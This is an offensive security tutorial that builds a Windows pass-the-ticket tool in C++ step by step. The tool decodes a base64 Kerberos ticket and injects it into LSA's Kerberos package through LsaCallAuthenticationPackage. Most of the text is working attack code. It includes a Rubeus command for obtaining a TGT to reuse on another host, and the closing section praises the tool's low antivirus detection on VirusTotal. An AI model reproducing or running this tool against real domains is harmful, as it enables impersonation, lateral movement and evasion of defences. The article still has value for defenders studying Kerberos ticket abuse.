My previous article discusses in detail Authentication Packages and Security Packages and explains how they can be used to intercept user passwords. But that’s definitely not enough, right? The next step is to inject Kerberos tickets and deliver pass-the-ticket attacks. And, of course, this has to be done without Mimikatz or Impacket. The only tool you are going to use is the standard Win32 API.
Getting a ticket
An attacker can get a ticket in the Base64 format, for instance, in a dump. However, in its ‘raw’ form, a ticket can contain nonprintable characters, and you’ll see some nonsense on the display. Accordingly, to inject workable tickets, your program must be able to decode received strings. Let’s create a file called stuff.
and implement in it a simple function to decode Base64 values. In addition, I am going to place there all header files that will be required in the future.
#pragma once#define WIN32_NO_STATUS#define SECURITY_WIN32#include <windows.h>#include <sspi.h>#include <NTSecAPI.h>#include <ntsecpkg.h>#include <iostream>#include <string>#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#pragma comment (lib, "Secur32.lib")static char encoding_table[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' };static char* decoding_table = NULL;static int mod_table[] = { 0, 2, 1 };void build_decoding_table();unsigned char* base64_decode(const char* data, size_t input_length, size_t* output_length);void build_decoding_table() { decoding_table = (char*)malloc(256); if (decoding_table == NULL) { exit(-1); } for (int i = 0; i < 64; i++) { decoding_table[(unsigned char)encoding_table[i]] = i; }}unsigned char* base64_decode(const char* data, size_t input_length, size_t* output_length) { if (decoding_table == NULL) build_decoding_table(); if (input_length % 4 != 0) return NULL; *output_length = input_length / 4 * 3; if (data[input_length - 1] == '=') { (*output_length)--; } if (data[input_length - 2] == '=') (*output_length)--; unsigned char* decoded_data = (unsigned char*)malloc(*output_length); if (decoded_data == NULL) return NULL; for (int i = 0, j = 0; i < input_length;) { DWORD sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; DWORD sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; DWORD sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; DWORD sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; DWORD triple = (sextet_a << 3 * 6) + (sextet_b << 2 * 6) + (sextet_c << 1 * 6) + (sextet_d << 0 * 6); if (j < *output_length) decoded_data[j++] = (triple >> 2 * 8) & 0xFF; if (j < *output_length) decoded_data[j++] = (triple >> 1 * 8) & 0xFF; if (j < *output_length) decoded_data[j++] = (triple >> 0 * 8) & 0xFF; } return decoded_data;}
Command line arguments will be used to pass tickets to the program. Let’s create a file Source.
with the following content:
#include "stuff.h"void usage() { std::cout << "ptt.exe <b64 ticket>" << std::endl;}int main(int argc, char** argv) { if (argc != 2) { usage(); return 1; } unsigned int kirbiSize = 0; char* ticket = argv[1]; unsigned char* kirbiTicket = base64_decode(ticket, strlen(ticket), &kirbiSize); if (kirbiSize == 0) { std::wcout << L"[-] Error converting from b64" << std::endl; return 1; } ...
This source code file extracts a base64-encoded ticket that was passed to the tool as the second command line argument. The first argument is the program name: for instance, if you call prog.
, argv[
will be prog.
; while argv[
, 123
. Then you call the decoder function and check whether the size has changed. If the size is different, it means that something has been decoded (and maybe even successfully).
Connecting to LSA
The LSA service process stores all tickets in its address space. Kerberos.
that is loaded into the lsass.
process implements all functions of the protocol of the same name. Important: to comprehend the information below, you should be able to distinguish TGT from TGS and understand the Kerberos operation principle (at least in general).
It’s not a big deal to connect to LSA; two special functions can be used for this purpose.
NTSTATUS LsaRegisterLogonProcess( [in] PLSA_STRING LogonProcessName, [out] PHANDLE LsaHandle, [out] PLSA_OPERATIONAL_MODE SecurityMode);andNTSTATUS LsaConnectUntrusted( [out] PHANDLE LsaHandle);
The first one makes it possible to get a handle to LSA on behalf of the logon process. This function is called, for instance, by winlogon.
during user logon. The handle gained this way enables you to use LSA for authentication and control over the user logon process and access management.
The second function is pretty simple: you connect to LSA on behalf of an ‘untrusted’ process. Of course, in this case you won’t be able to use LSA for authentication, but you still can use it for simple interaction with loaded authentication packets, which makes it preferable for your purposes.
HANDLE lsa_handle = NULL;NTSTATUS status = LsaConnectUntrusted(&lsa_handle);if (!NT_SUCCESS(status) || !lsa_handle) { std::wcout << L"[-] Error connecting to lsa: " << LsaNtStatusToWinError(status) << std::endl; return 1;}
Here you get a handle to the LSA, and then check whether the function has done its job successfully using the previously created macro NT_SUCCESS(
(contained in stuff.
).
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
If something goes wrong, the program calls LsaNtStatusToWinError(
. This function converts the weird function error code into a human-understandable error code. To find out what’s wrong, copy the received value and compare it with errors listed in the Microsoft documentation.
Let’s find the AP
LSA identifies each Authentication Package by a special number (ID); based on this ID, the system understands what it should interact with to implement its security functions. This numerical value is absolutely random; it’s assigned by LSA and stored there until the system reboot. To retrieve this number, use the LsaLookupAuthenticationPackage() function.
NTSTATUS LsaLookupAuthenticationPackage( [in] HANDLE LsaHandle, [in] PLSA_STRING PackageName, [out] PULONG AuthenticationPackage);
The LSA handle obtained by calling LsaConnectUntrusted(
is passed as the first parameter, and then problems begin. The function asks you to pass to it the LSA_STRING structure that looks as shown below:
typedef struct _LSA_STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer;} LSA_STRING, *PLSA_STRING;
It took me some time and effort to initialize it correctly. Therefore, to avoid such hassle in the future, I created a simple function that takes the authentication package name and returns the completed structure:
LSA_STRING* create_lsa_string(const char* value){ char* buf = new char[100]; LSA_STRING* str = (LSA_STRING*)buf; str->Length = strlen(value); str->MaximumLength = str->Length; str->Buffer = buf + sizeof(LSA_STRING); memcpy(str->Buffer, value, str->Length); return str;}// CallPLSA_STRING lsaString = create_lsa_string("kerberos"); ULONG authenticationpackage = 0; status = LsaLookupAuthenticationPackage(lsa_handle, lsaString, &authenticationpackage); if (authenticationpackage == 0) { std::wcout << L"[-] Error LsaLookupAP: " << LsaNtStatusToWinError(status) << std::endl; return 1; } std::wcout << L"[?] Package id " << authenticationpackage << std::endl;
If the call was successful, LSA will return to you the much-desired ID of the Kerberos AP required to interact with Kerberos.
via LSA.
Ticket injection
Now you have to inject the Kerberos ticket into the respective AP to initialize it. For interaction with a specific AP, LSA has a function called LsaCallAuthenticationPackage(), and the tool uses it to inject tickets:
NTSTATUS LsaCallAuthenticationPackage( [in] HANDLE LsaHandle, [in] ULONG AuthenticationPackage, [in] PVOID ProtocolSubmitBuffer, [in] ULONG SubmitBufferLength, [out] PVOID *ProtocolReturnBuffer, [out] PULONG ReturnBufferLength, [out] PNTSTATUS ProtocolStatus);
The first parameter is the same LSA handle as in the previous functions; the second one is the authentication package ID. Next, you have to pass the information that must be submitted to the authentication package (in this particular case, it’s a TGT ticket) to ProtocolSubmitBuffer
and SubmitBufferLength
. The AP itself can put the data it wants to return to the program into ProtocolReturnBuffer
and ReturnBufferLength
. Finally, the last parameter returns the error identifier.
Too bad, you cannot simply ‘insert’ a ticket into this function call. At this stage, your ticket is stored in the kirbiTicket
variable. First you have to generate a KERB_SUBMIT_TKT_REQUEST
structure:
typedef struct _KERB_SUBMIT_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; ULONG Flags; KERB_CRYPTO_KEY32 Key; ULONG KerbCredSize; ULONG KerbCredOffset;} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST
The following parameters are used:
-
MessageType – defines the types of messages that can be send to the Kerberos AP. To inject a ticket,
KerbSubmitTicketMessage
will be passed. As a result, the dispatch routine gets the tickets from the KDC and updates the ticket cache; -
LogonId
– a unique current session ID enabling the AP to identify the session to apply the ticket to (if not specified, the Kerberos AP will identify the LUID on its own); -
Flags
– additional flags; - Key – a structure containing information about a Kerberos cryptographic session key; and
-
KerbCredSize
andKerbCredOffset
– to inject a ticket, the ticket size is passed to the first parameter; while the offset, to the second one. The offset determines the size of this structure. Since you are going to pass to the AP both the ticket and the structure, the AP must know the offset of the ticket.
A correct ticket injection into a Kerberos AP looks as follows:
NTSTATUS packageStatus; DWORD submitSize, responseSize; PKERB_SUBMIT_TKT_REQUEST pKerbSubmit; PVOID dumPtr; submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + kirbiSize; if (pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LPTR, submitSize)) { pKerbSubmit->MessageType = KerbSubmitTicketMessage; pKerbSubmit->KerbCredSize = kirbiSize; pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST); RtlCopyMemory((PBYTE)pKerbSubmit + pKerbSubmit->KerbCredOffset, kirbiTicket, pKerbSubmit->KerbCredSize); status = LsaCallAuthenticationPackage(lsa_handle, authenticationpackage, pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus); if (NT_SUCCESS(status)) { if (NT_SUCCESS(packageStatus)) { std::wcout << L"[+] Injected\n" << std::endl; status = 0x0; } else if (LsaNtStatusToWinError(packageStatus) == 1398) { std::wcout << L"[!!!!] ERROR_TIME_SKEW between KDC and host computer" << std::endl; } else std::wcout << L"[-] KerbSubmitTicketMessage / Package :" << LsaNtStatusToWinError(packageStatus) << "\n"; } else std::wcout << L"[-] KerbSubmitTicketMessage :" << LsaNtStatusToWinError(status) << "\n"; } LsaDeregisterLogonProcess(lsa_handle); return 0;}
First, you calculate the total size of the data to be passed to the AP: the size of the KERB_SUBMIT_TGT_REQUEST
structure (so that the AP understands what you need from it) plus the ticket size. Next, memory is allocated for this structure, and then its elements are initialized.
The size of the structure is stored in pKerbSubmit->
so that Kerberos knows that a ticket whose size is pKerbSubmit->
(KirbiSize
) will be located at the address pKerbSubmit
+ pKerbSubmit->
. Next, you copy the ticket to the calculated address, call the AP, and pass the initialized structure. Then you check the error code twice. The first error code (status
) indicates a potential problem that could occur when the function was called (e.g. if lsa_handle
was invalid). The second code (packageStatus
) is the AP error code (e.g. if you have passed an incorrect size).
A separate block checks for the ERROR_TIME_SKEW
error that occurs due to a discrepancy in time (more than five minutes) between the host and the KDC. If such a discrepancy is present, then the TGT ticket cannot be updated since it’s impossible to correctly pass the pre-authentication stage. Such a ticket can be used, but only until it gets ‘spoiled’. By default, the lifetime of a TGT ticket is 10 hours.
After that, the ticket can be successfully injected into the lsass.
process and you’ll be able to use it. Using the LsaDeregisterLogonProcess(
function, you simply release the LSA handle.
Validation
Time to check the functionality of the tool. Its full code is available on GitHub. First, you need a valid TGT ticket (you can get it in any suitable way, for instance, using Rubeus):
.\Rubeus.exe tgtdeleg /nowrap
Then you switch to another system and perform an injection:
.\project.exe <b64 ticket>
Conclusions
Plenty of attacks can be implemented without popular and widely known hacker tools. This approach has an important advantage: the unique code that uses legitimate APIs and its absence in signature databases make it possible to easily circumvent antivirus software. I uploaded my project to VirusTotal ‘as is’, without any obfuscation or protection (i.e. with all its suspicious lines, including [
), and got only three detections.
As you understand, if you upload there Mimikatz, Rubeus, or any other ticket injection tool, the number of detections would be an order of magnitude higher.